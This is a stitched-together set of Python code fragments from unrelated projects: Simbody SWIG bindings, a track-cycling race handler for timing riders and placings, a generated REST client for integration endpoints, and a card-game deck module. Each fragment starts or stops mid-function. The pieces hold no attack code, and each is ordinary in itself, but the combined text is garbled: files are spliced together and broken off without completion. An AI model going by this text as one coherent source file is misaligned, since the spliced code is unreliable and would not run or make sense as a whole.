SimTK::DecorativeGeometry >::const_reverse_iterator rbegin(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::reverse_iterator Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_rbegin(self, *args) def crend(self): """ crend(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::const_reverse_iterator Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_crend(self) def rend(self, *args): """ rend(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::const_reverse_iterator rend(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::reverse_iterator Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_rend(self, *args) def cdata(self): """ cdata(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_cdata(self) def data(self, *args): """ data(ArrayDecorativeGeometry self) -> DecorativeGeometry data(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_data(self, *args) def at(self, *args): """ at(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::index_type i) -> DecorativeGeometry Parameters ---------- i: SimTK::Array_< SimTK::DecorativeGeometry >::index_type at(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::index_type i) -> DecorativeGeometry Parameters ---------- i: SimTK::Array_< SimTK::DecorativeGeometry >::index_type """ return _simbody.ArrayDecorativeGeometry_at(self, *args) def getElt(self, i): """ getElt(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::index_type i) -> DecorativeGeometry Parameters ---------- i: SimTK::Array_< SimTK::DecorativeGeometry >::index_type """ return _simbody.ArrayDecorativeGeometry_getElt(self, i) def updElt(self, i): """ updElt(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::index_type i) -> DecorativeGeometry Parameters ---------- i: SimTK::Array_< SimTK::DecorativeGeometry >::index_type """ return _simbody.ArrayDecorativeGeometry_updElt(self, i) def front(self, *args): """ front(ArrayDecorativeGeometry self) -> DecorativeGeometry front(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_front(self, *args) def back(self, *args): """ back(ArrayDecorativeGeometry self) -> DecorativeGeometry back(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_back(self, *args) def push_back(self, *args): """ push_back(ArrayDecorativeGeometry self, DecorativeGeometry value) Parameters ---------- value: SimTK::DecorativeGeometry const & push_back(ArrayDecorativeGeometry self) Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_push_back(self, *args) def raw_push_back(self): """ raw_push_back(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_raw_push_back(self) def pop_back(self): """ pop_back(ArrayDecorativeGeometry self) Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_pop_back(self) def erase(self, *args): """ erase(ArrayDecorativeGeometry self, DecorativeGeometry first, DecorativeGeometry last1) -> DecorativeGeometry Parameters ---------- first: SimTK::DecorativeGeometry * last1: SimTK::DecorativeGeometry const * erase(ArrayDecorativeGeometry self, DecorativeGeometry p) -> DecorativeGeometry Parameters ---------- p: SimTK::DecorativeGeometry * """ return _simbody.ArrayDecorativeGeometry_erase(self, *args) def eraseFast(self, p): """ eraseFast(ArrayDecorativeGeometry self, DecorativeGeometry p) -> DecorativeGeometry Parameters ---------- p: SimTK::DecorativeGeometry * """ return _simbody.ArrayDecorativeGeometry_eraseFast(self, p) def clear(self): """ clear(ArrayDecorativeGeometry self) Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_clear(self) def insert(self, *args): """ insert(ArrayDecorativeGeometry self, DecorativeGeometry p, SimTK::Array_< SimTK::DecorativeGeometry >::size_type n, DecorativeGeometry value) -> DecorativeGeometry Parameters ---------- p: SimTK::DecorativeGeometry * n: SimTK::Array_< SimTK::DecorativeGeometry >::size_type value: SimTK::DecorativeGeometry const & insert(ArrayDecorativeGeometry self, DecorativeGeometry p, DecorativeGeometry value) -> DecorativeGeometry Parameters ---------- p: SimTK::DecorativeGeometry * value: SimTK::DecorativeGeometry const & """ return _simbody.ArrayDecorativeGeometry_insert(self, *args) ArrayDecorativeGeometry_swigregister = _simbody.ArrayDecorativeGeometry_swigregister ArrayDecorativeGeometry_swigregister(ArrayDecorativeGeometry) class Stage(_object): """Proxy of C++ SimTK::Stage class.""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, Stage, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, Stage, name) __repr__ = _swig_repr Empty = _simbody.Stage_Empty Topology = _simbody.Stage_Topology Model = _simbody.Stage_Model Instance = _simbody.Stage_Instance Time = _simbody.Stage_Time Position = _simbody.Stage_Position Velocity = _simbody.Stage_Velocity Dynamics = _simbody.Stage_Dynamics Acceleration = _simbody.Stage_Acceleration Report = _simbody.Stage_Report Infinity = _simbody.Stage_Infinity LowestValid = _simbody.Stage_LowestValid HighestValid = _simbody.Stage_HighestValid LowestRuntime = _simbody.Stage_LowestRuntime HighestRuntime = _simbody.Stage_HighestRuntime NValid = _simbody.Stage_NValid NRuntime = _simbody.Stage_NRuntime def __init__(self, *args): """ __init__(SimTK::Stage self) -> Stage __init__(SimTK::Stage self, int l) -> Stage Parameters ---------- l: int """ this = _simbody.new_Stage(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def next(self): """ next(Stage self) -> Stage Parameters ---------- self: SimTK::Stage const * """ return _simbody.Stage_next(self) def prev(self): """ prev(Stage self) -> Stage Parameters ---------- self: SimTK::Stage const * """ return _simbody.Stage_prev(self) def getName(self): """ getName(Stage self) -> String Parameters ---------- self: SimTK::Stage const * """ return _simbody.Stage_getName(self) def invalidate(self, tooHigh): """ invalidate(Stage self, Stage tooHigh) Parameters ---------- tooHigh: SimTK::Stage """ return _simbody.Stage_invalidate(self, tooHigh) def isInRuntimeRange(self): """ isInRuntimeRange(Stage self) -> bool Parameters ---------- self: SimTK::Stage const * """ return _simbody.Stage_isInRuntimeRange(self) __swig_destroy__ = _simbody.delete_Stage __del__ = lambda self: None Stage_swigregister = _simbody.Stage_swigregister Stage_swigregister(Stage) class State(_object): """Proxy of C++ SimTK::State class.""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, State, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, State, name) __repr__ = _swig_repr __swig_destroy__ = _simbody.delete_State __del__ = lambda self: None def clear(self): """ clear(State self) Parameters ---------- self: SimTK::State * """ return _simbody.State_clear(self) def setNumSubsystems(self, i): """ setNumSubsystems(State self, int i) Parameters ---------- i: int """ return _simbody.State_setNumSubsystems(self, i) def __init__(self, *args): """ __init__(SimTK::State self) -> State __init__(SimTK::State self, State arg2) -> State Parameters ---------- arg2: SimTK::State const & """ this = _simbody.new_State(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def getNumSubsystems(self): """ getNumSubsystems(State self) -> int Parameters ---------- self: SimTK::State const * """ return _simbody.State_getNumSubsystems(self) def getSystemStage(self): """ getSystemStage(State self) -> Stage Parameters ---------- self: SimTK::State const * """ return _simbody.State_getSystemStage(self) def invalidateAll(self, arg2): """ invalidateAll(State self, Stage arg2) Parameters ---------- arg2: SimTK::Stage """ return _simbody.State_invalidateAll(self, arg2) def invalidateAllCacheAtOrAbove(self, arg2): """ invalidateAllCacheAtOrAbove(State self, Stage arg2) Parameters ---------- arg2: SimTK::Stage """ return _simbody.State_invalidateAllCacheAtOrAbove(self, arg2) def getNY(self): """ getNY(State self) -> int Parameters ---------- self: SimTK::State const * """ return _simbody.State_getNY(self) def getNYErr(self): """ getNYErr(State self) -> int Parameters ---------- self: SimTK::State const * """ return _simbody.State_getNYErr(self) def getNMultipliers(self): """ getNMultipliers(State self) -> int Parameters ---------- self: SimTK::State const * """ return _simbody.State_getNMultipliers(self) def getNEventTriggers(self): """ getNEventTriggers(State self) -> int Parameters ---------- self: SimTK::State const * """ return _simbody.State_getNEventTriggers(self) def getNEventTriggersByStage(self, arg2): """ getNEventTriggersByStage(State self, Stage arg2) -> int Parameters ---------- arg2:
<gh_stars>0 """Generic race handler for trackmeet.""" import gtk import glib import gobject import pango import logging import os import metarace from metarace import tod from metarace import timy from metarace import riderdb from metarace import scbwin from metarace import uiutil from metarace import strops from metarace import report from metarace import jsonconfig LOG = logging.getLogger(u'metarace.race') LOG.setLevel(logging.DEBUG) # config version string EVENT_ID = u'race-2.0' # race model column constants COL_BIB = 0 COL_FIRSTNAME = 1 COL_LASTNAME = 2 COL_CLUB = 3 COL_INFO = 4 COL_DNF = 5 COL_PLACE = 6 # scb function key mappings key_startlist = u'F3' # show starters in table key_results = u'F4' # recalc/show result window key_lapdown = u'F11' # decrement tv lap counter # timing function key mappings key_armstart = u'F5' # arm for start/200m impulse key_showtimer = u'F6' # show timer key_armfinish = u'F9' # arm for finish impulse # extended function key mappings key_abort = u'F5' # + ctrl for clear/abort key_falsestart = u'F6' # + ctrl for false start class race(object): """Data handling for scratch, handicap, keirin, derby, etc races.""" def clearplaces(self): """Clear places from data model.""" for r in self.riders: r[COL_PLACE] = u'' def getrider(self, bib): """Return temporary reference to model row.""" ret = None for r in self.riders: if r[COL_BIB].decode(u'utf-8') == bib: ret = r break return ret def getiter(self, bib): """Return temporary iterator to model row.""" i = self.riders.get_iter_first() while i is not None: if self.riders.get_value(i, COL_BIB).decode(u'utf-8') == bib: break i = self.riders.iter_next(i) return i def delayed_reorder(self): """Call reorder if the flag is one.""" if self.reorderflag > 1: self.reorderflag -= 1 elif self.reorderflag == 1: self.reorder_handicap() self.reorderflag = 0 else: self.reorderflag = 0 # clamp negatives return False def addrider(self, bib=u'', info=None): """Add specified rider to race model.""" nr=[bib, u'', u'', u'', u'', False, u''] er = self.getrider(bib) if not bib or er is None: dbr = self.meet.rdb.getrider(bib, self.series) if dbr is not None: for i in range(1,4): nr[i] = self.meet.rdb.getvalue(dbr, i) # unicode if self.evtype == u'handicap': # reqd? if info: nr[COL_INFO] = info if self.evtype in [u'handicap', u'keirin'] and not self.onestart: self.reorderflag += 1 glib.timeout_add_seconds(1, self.delayed_reorder) self.riders.append(nr) else: if er is not None: # Rider already in the model, set the info if # event type is handicap or event is part of omnium if self.evtype == u'handicap' or self.inomnium: if not er[COL_INFO] and info: # don't overwrite if set er[COL_INFO] = info def dnfriders(self, biblist=u''): """Remove listed bibs from the race.""" for bib in biblist.split(): r = self.getrider(bib) if r is not None: r[COL_DNF] = True LOG.info(u'Rider %r withdrawn', bib) else: LOG.warn(u'Did not withdraw rider %r', bib) return False def delrider(self, bib): """Remove the specified rider from the model.""" i = self.getiter(bib) if i is not None: self.riders.remove(i) def placexfer(self, placestr): """Transfer places in placestr to model.""" self.clearplaces() self.results = [] placeset = set() resname_w = self.meet.scb.linelen - 11 # move dnf riders to bottom of list and count inriders cnt = 0 incnt = 0 reorddnf = [] if len(self.riders) > 0: for r in self.riders: if r[COL_DNF]: reorddnf.append(cnt) else: incnt += 1 reorddnf.insert(0, cnt) cnt += 1 self.riders.reorder(reorddnf) # update eliminated rider ranks outriders = [] for bib in self.eliminated: r = self.getrider(bib) rank = incnt + self.startplace r[COL_PLACE] = rank club = r[COL_CLUB].decode(u'utf-8') if len(club) > 3: # look it up? if self.series in self.meet.ridermap: rh = self.meet.ridermap[self.series][bib] if rh is not None: club = rh[u'note'] outriders.insert(0,[unicode(rank)+u'.', bib, strops.fitname(r[COL_FIRSTNAME].decode(u'utf-8'), r[COL_LASTNAME].decode(u'utf-8'), resname_w), club]) i = self.getiter(bib) incnt -= 1 self.riders.swap(self.riders.get_iter(incnt), i) # overwrite eliminations form placed riders - but warn on overlap place = 1 count = 0 for placegroup in placestr.split(): for bib in placegroup.split(u'-'): if bib not in placeset: if count >= incnt: LOG.error(u'Error: More places than available') break placeset.add(bib) r = self.getrider(bib) if r is None: # ensure rider exists at this point LOG.warn(u'Adding non-starter: %r', bib) self.addrider(bib) r = self.getrider(bib) rank = place + self.startplace r[COL_PLACE] = rank club = r[COL_CLUB].decode(u'utf-8') if len(club) > 3: # look it up? if self.series in self.meet.ridermap: rh = self.meet.ridermap[self.series][bib] if rh is not None: club = rh[u'note'] self.results.append([unicode(rank)+u'.', bib, strops.fitname(r[COL_FIRSTNAME].decode(u'utf-8'), r[COL_LASTNAME].decode(u'utf-8'), resname_w), club]) i = self.getiter(bib) self.riders.swap(self.riders.get_iter(count), i) count += 1 else: LOG.error(u'Ignoring duplicate no: %r', bib) place = count+1 self.results.extend(outriders) if count > 0 or len(outriders) > 0: self.onestart = True if count == incnt: self.resulttype = u'RESULT' elif count < incnt and len(outriders) > 0: self.resulttype = u'STANDING' else: self.resulttype = u'PROVISIONAL RESULT' def loadconfig(self): """Load race config from disk.""" self.riders.clear() # set defaults timetype based on event type deftimetype = u'start/finish' defdistance = None defdistunits = u'laps' self.seedsrc = None # default is no seed info if self.evtype == u'handicap': self.seedsrc = 3 # fetch handicap info from autospec if self.evtype in [u'sprint', u'keirin']: deftimetype = u'200m' defdistunits = u'metres' defdistance = u'200' if self.evtype == u'elimination': i = self.action_model.append([u'Eliminate', u'out']) self.action_model.append([u'Un-Eliminate', u'in']) if i is not None: self.ctrl_action_combo.set_active_iter(i) cr = jsonconfig.config({u'event':{ u'startlist':u'', u'id':EVENT_ID, u'ctrl_places':u'', u'eliminated':[], u'start':None, u'lstart':None, u'comments':[], u'finish':None, u'runlap':None, u'distance':defdistance, u'distunits':defdistunits, u'showinfo':True, u'inomnium':False, u'startplace':0, u'autospec':u'', u'timetype':deftimetype}, u'riders':{} }) cr.add_section(u'event') cr.add_section(u'riders') if os.path.exists(self.configfile): try: with open(self.configfile, 'rb') as f: cr.read(f) except Exception as e: LOG.error(u'Unable to read config: %s', e) else: LOG.info(u'%r not found, loading defaults', self.configfile) self.inomnium = strops.confopt_bool(cr.get(u'event', u'inomnium')) if self.inomnium: self.seedsrc = 1 # fetch start list seeding from omnium self.autospec = cr.get(u'event', u'autospec') rlist = cr.get(u'event', u'startlist').split() for r in rlist: nr=[r, u'', u'', u'', u'', False, u''] if cr.has_option('riders', r): ril = cr.get(u'riders',r) for i in range(0,3): if len(ril) > i: nr[i+4] = ril[i] # Re-patch name dbr = self.meet.rdb.getrider(r, self.series) if dbr is not None: for i in range(1,4): nr[i] = self.meet.rdb.getvalue(dbr, i) # unicode self.riders.append(nr) # race infos self.comments = cr.get(u'event', u'comments') self.startplace = strops.confopt_posint(cr.get(u'event', u'startplace')) self.set_timetype(cr.get(u'event', u'timetype')) self.distance = strops.confopt_dist(cr.get(u'event', u'distance')) self.units = strops.confopt_distunits(cr.get(u'event', u'distunits')) self.runlap = strops.confopt_posint(cr.get(u'event',u'runlap')) if self.timetype != u'200m' and self.event[u'laps']: # use event program to override self.units = u'laps' self.distance = strops.confopt_posint(self.event[u'laps'], self.distance) self.update_expander_lbl_cb() self.info_expand.set_expanded(strops.confopt_bool( cr.get(u'event', u'showinfo'))) self.set_start(cr.get(u'event', u'start'), cr.get(u'event', u'lstart')) self.set_finish(cr.get(u'event', u'finish')) self.set_elapsed() self.eliminated = cr.get(u'event', u'eliminated') places = strops.reformat_placelist(cr.get(u'event', u'ctrl_places')) self.ctrl_places.set_text(places) self.placexfer(places) if places: self.doscbplaces = False # only show places on board if not set self.setfinished() else: if self.autospec: self.meet.autostart_riders(self, self.autospec, infocol=self.seedsrc) if self.evtype in [u'handicap', u'keirin'] or self.inomnium: self.reorder_handicap() # After load complete - check config and report. eid = cr.get(u'event', u'id') if eid and eid != EVENT_ID: LOG.info(u'Event config mismatch: %r != %r', eid, EVENT_ID) def sort_riderno(self, x, y): """Sort riders by rider no.""" return cmp(strops.riderno_key(x[1]), strops.riderno_key(y[1])) def sort_handicap(self, x, y): """Sort function for handicap marks.""" if x[2] != y[2]: if x[2] is None: # y sorts first return 1 elif y[2] is None: # x sorts first return -1 else: # Both should be ints here return cmp(x[2], y[2]) else: # Defer to rider number return cmp(strops.riderno_key(x[1]), strops.riderno_key(y[1])) def reorder_handicap(self): """Reorder rider model according to the handicap marks.""" if len(self.riders) > 1: auxmap = [] cnt = 0 for r in self.riders: auxmap.append([cnt, r[COL_BIB].decode(u'utf-8'), strops.mark2int(r[COL_INFO].decode(u'utf-8'))]) cnt += 1 if self.inomnium or self.evtype == u'handicap': auxmap.sort(self.sort_handicap) else: auxmap.sort(self.sort_riderno) self.riders.reorder([a[0] for a in auxmap]) def set_timetype(self, data=None): """Update state and ui to match timetype.""" if data is not None: self.timetype = strops.confopt_pair(data, u'200m', u'start/finish') self.finchan = timy.CHAN_FINISH if self.timetype == u'200m': self.startchan = timy.CHAN_200 else: self.startchan = timy.CHAN_START def set_start(self, start=None, lstart=None): """Set the race start.""" self.start = tod.mktod(start) if lstart is not None: self.lstart = tod.mktod(lstart) else: self.lstart = self.start if self.start is None: pass else: if self.finish is None: self.setrunning() def set_finish(self, finish=None): """Set the race finish.""" self.finish = tod.mktod(finish) if self.finish is None: if self.start is not None: self.setrunning() else: if self.start is None: self.set_start(0) # TODO: Verify this path self.setfinished() def log_elapsed(self): """Log race elapsed time on Timy.""" self.meet.main_timer.printline(self.meet.racenamecat(self.event)) self.meet.main_timer.printline(u' ST: ' + self.start.timestr(4)) self.meet.main_timer.printline(u' FIN: ' + self.finish.timestr(4)) self.meet.main_timer.printline(u' TIME: ' + (self.finish - self.start).timestr(2)) def set_elapsed(self): """Update elapsed time in race ui and announcer.""" if self.start is not None and self.finish is not None: et = self.finish - self.start self.time_lbl.set_text(et.timestr(2)) elif self.start is not None: # Note: uses 'local start' for RT runtm = (tod.now() - self.lstart).timestr(1) self.time_lbl.set_text(runtm) if self.runlap is not None: if self.runlap != self.lastrunlap: LOG.debug(u'Runlap: %r',
routing_key: routingKey (required) :return: DeferredResultResponseEntity If the method is called asynchronously, returns the request thread. """ all_params = ['body', 'request_headers', 'all_request_params', 'routing_key'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method process_request_tpe_using_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `process_request_tpe_using_post`") # noqa: E501 # verify the required parameter 'request_headers' is set if ('request_headers' not in params or params['request_headers'] is None): raise ValueError("Missing the required parameter `request_headers` when calling `process_request_tpe_using_post`") # noqa: E501 # verify the required parameter 'all_request_params' is set if ('all_request_params' not in params or params['all_request_params'] is None): raise ValueError("Missing the required parameter `all_request_params` when calling `process_request_tpe_using_post`") # noqa: E501 # verify the required parameter 'routing_key' is set if ('routing_key' not in params or params['routing_key'] is None): raise ValueError("Missing the required parameter `routing_key` when calling `process_request_tpe_using_post`") # noqa: E501 collection_formats = {} path_params = {} if 'routing_key' in params: path_params['routingKey'] = params['routing_key'] # noqa: E501 query_params = [] if 'all_request_params' in params: query_params.append(('allRequestParams', params['all_request_params'])) # noqa: E501 header_params = {} if 'request_headers' in params: header_params['requestHeaders'] = params['request_headers'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['*/*']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['X-Authorization'] # noqa: E501 return self.api_client.call_api( '/api/v1/integrations/tpe/{routingKey}{?allRequestParams}', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DeferredResultResponseEntity', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def process_request_tpe_using_put(self, body, request_headers, all_request_params, routing_key, **kwargs): # noqa: E501 """processRequestTPE # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.process_request_tpe_using_put(body, request_headers, all_request_params, routing_key, async_req=True) >>> result = thread.get() :param async_req bool :param str body: msg (required) :param Object request_headers: requestHeaders (required) :param Object all_request_params: allRequestParams (required) :param str routing_key: routingKey (required) :return: DeferredResultResponseEntity If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.process_request_tpe_using_put_with_http_info(body, request_headers, all_request_params, routing_key, **kwargs) # noqa: E501 else: (data) = self.process_request_tpe_using_put_with_http_info(body, request_headers, all_request_params, routing_key, **kwargs) # noqa: E501 return data def process_request_tpe_using_put_with_http_info(self, body, request_headers, all_request_params, routing_key, **kwargs): # noqa: E501 """processRequestTPE # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.process_request_tpe_using_put_with_http_info(body, request_headers, all_request_params, routing_key, async_req=True) >>> result = thread.get() :param async_req bool :param str body: msg (required) :param Object request_headers: requestHeaders (required) :param Object all_request_params: allRequestParams (required) :param str routing_key: routingKey (required) :return: DeferredResultResponseEntity If the method is called asynchronously, returns the request thread. """ all_params = ['body', 'request_headers', 'all_request_params', 'routing_key'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method process_request_tpe_using_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `process_request_tpe_using_put`") # noqa: E501 # verify the required parameter 'request_headers' is set if ('request_headers' not in params or params['request_headers'] is None): raise ValueError("Missing the required parameter `request_headers` when calling `process_request_tpe_using_put`") # noqa: E501 # verify the required parameter 'all_request_params' is set if ('all_request_params' not in params or params['all_request_params'] is None): raise ValueError("Missing the required parameter `all_request_params` when calling `process_request_tpe_using_put`") # noqa: E501 # verify the required parameter 'routing_key' is set if ('routing_key' not in params or params['routing_key'] is None): raise ValueError("Missing the required parameter `routing_key` when calling `process_request_tpe_using_put`") # noqa: E501 collection_formats = {} path_params = {} if 'routing_key' in params: path_params['routingKey'] = params['routing_key'] # noqa: E501 query_params = [] if 'all_request_params' in params: query_params.append(('allRequestParams', params['all_request_params'])) # noqa: E501 header_params = {} if 'request_headers' in params: header_params['requestHeaders'] = params['request_headers'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['*/*']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['X-Authorization'] # noqa: E501 return self.api_client.call_api( '/api/v1/integrations/tpe/{routingKey}{?allRequestParams}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DeferredResultResponseEntity', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def process_request_using_delete5(self, body, request_headers, all_request_params, routing_key, **kwargs): # noqa: E501 """processRequest # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.process_request_using_delete5(body, request_headers, all_request_params, routing_key, async_req=True) >>> result = thread.get() :param async_req bool :param str body: msg (required) :param Object request_headers: requestHeaders (required) :param Object all_request_params: allRequestParams (required) :param str routing_key: routingKey (required) :return: DeferredResultResponseEntity If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.process_request_using_delete5_with_http_info(body, request_headers, all_request_params, routing_key, **kwargs) # noqa: E501 else: (data) = self.process_request_using_delete5_with_http_info(body, request_headers, all_request_params, routing_key, **kwargs) # noqa: E501 return data def process_request_using_delete5_with_http_info(self, body, request_headers, all_request_params, routing_key, **kwargs): # noqa: E501 """processRequest # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.process_request_using_delete5_with_http_info(body, request_headers, all_request_params, routing_key, async_req=True) >>> result = thread.get() :param async_req bool :param str body: msg (required) :param Object request_headers: requestHeaders (required) :param Object all_request_params: allRequestParams (required) :param str routing_key: routingKey (required) :return: DeferredResultResponseEntity If the method is called asynchronously, returns the request thread. """ all_params = ['body', 'request_headers', 'all_request_params', 'routing_key'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method process_request_using_delete5" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `process_request_using_delete5`") # noqa: E501 # verify the required parameter 'request_headers' is set if ('request_headers' not in params or params['request_headers'] is None): raise ValueError("Missing the required parameter `request_headers` when calling `process_request_using_delete5`") # noqa: E501 # verify the required parameter 'all_request_params' is set if ('all_request_params' not in params or params['all_request_params'] is None): raise ValueError("Missing the required parameter `all_request_params` when calling `process_request_using_delete5`") # noqa: E501 # verify the required parameter 'routing_key' is set if ('routing_key' not in params or params['routing_key'] is None): raise ValueError("Missing the required parameter `routing_key` when calling `process_request_using_delete5`") # noqa: E501 collection_formats = {} path_params = {} if 'routing_key' in params: path_params['routingKey'] = params['routing_key'] # noqa: E501 query_params = [] if 'all_request_params' in params: query_params.append(('allRequestParams', params['all_request_params'])) # noqa: E501 header_params = {} if 'request_headers' in params: header_params['requestHeaders'] = params['request_headers'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['*/*']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['X-Authorization'] # noqa: E501 return self.api_client.call_api( '/api/v1/integrations/thingpark/{routingKey}{?allRequestParams}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DeferredResultResponseEntity', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def process_request_using_get5(self, body, request_headers, all_request_params, routing_key, **kwargs): # noqa: E501 """processRequest # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.process_request_using_get5(body, request_headers, all_request_params, routing_key, async_req=True) >>> result = thread.get() :param async_req bool :param str body: msg (required) :param Object request_headers: requestHeaders (required) :param Object all_request_params: allRequestParams (required) :param str routing_key: routingKey (required) :return:
<reponame>devdo-eu/macau from random import shuffle colors = 'hearts tiles clovers pikes'.split() values = '2 3 4 5 6 7 8 9 10 J Q K A'.split() def prepare_deck(table=None, players=None, how_many=1): """ Function used to prepare deck of 52 cards and shuffle it. If cards was dealt to players, this cards will not be in newly prepared deck. :param table: list with cards lied on table :param players: dictionary of Player objects which contains players hands :param how_many: integer of how many decks will be in game :return: list with deck, list with table, dictionary with players """ deck = [(color, value) for value in values for color in colors] * how_many if players: [deck.remove(card) for player in players.values() for card in player.hand] if table and len(table) >= 1: table = [table[0]] deck.remove(table[0]) shuffle(deck) return deck, table, players def clean_table(deck, table): """ Function used to take all cards from table and shuffle them to deck. Top card will stay on table. :param deck: list with deck of cards from which cards will be dealt :param table: list with cards lied on table :return: list with deck, list with table """ top_card = table[-1] shuffle(table) deck = table + deck deck.remove(top_card) table = [top_card] return deck, table def deal_cards(deck, how_many): """ Function used to deal certain number of cards. :param deck: list with deck of cards from which cards will be dealt :param how_many: number of cards to deal :return: list with dealt cards, list with deck, number of dealt cards """ cards = [] if len(deck) >= how_many: for _ in range(how_many): cards.append(deck.pop()) cards_dealt = how_many else: cards_dealt = len(deck) for _ in range(len(deck)): cards.append(deck.pop()) return cards, deck, cards_dealt def nonactive_card_possible_plays(hand, top_card, requested_value=None): """ Function used to evaluate possible plays for given hand and card on top of a table. :param hand: list of cards on player hand :param top_card: tuple with card on top of a table :param requested_value: string with requested value :return: list of possible plays, bool value if there is any move """ if top_card[1] == 'Q': return hand, len(hand) possible_plays = [] queens = [(color, 'Q') for color in colors] from_value = [(color, top_card[1]) for color in colors] from_color = [(top_card[0], value) for value in values] if requested_value is None: [possible_plays.append(card) for card in hand if card in queens + from_color + from_value] else: req_value = [(color, requested_value) for color in 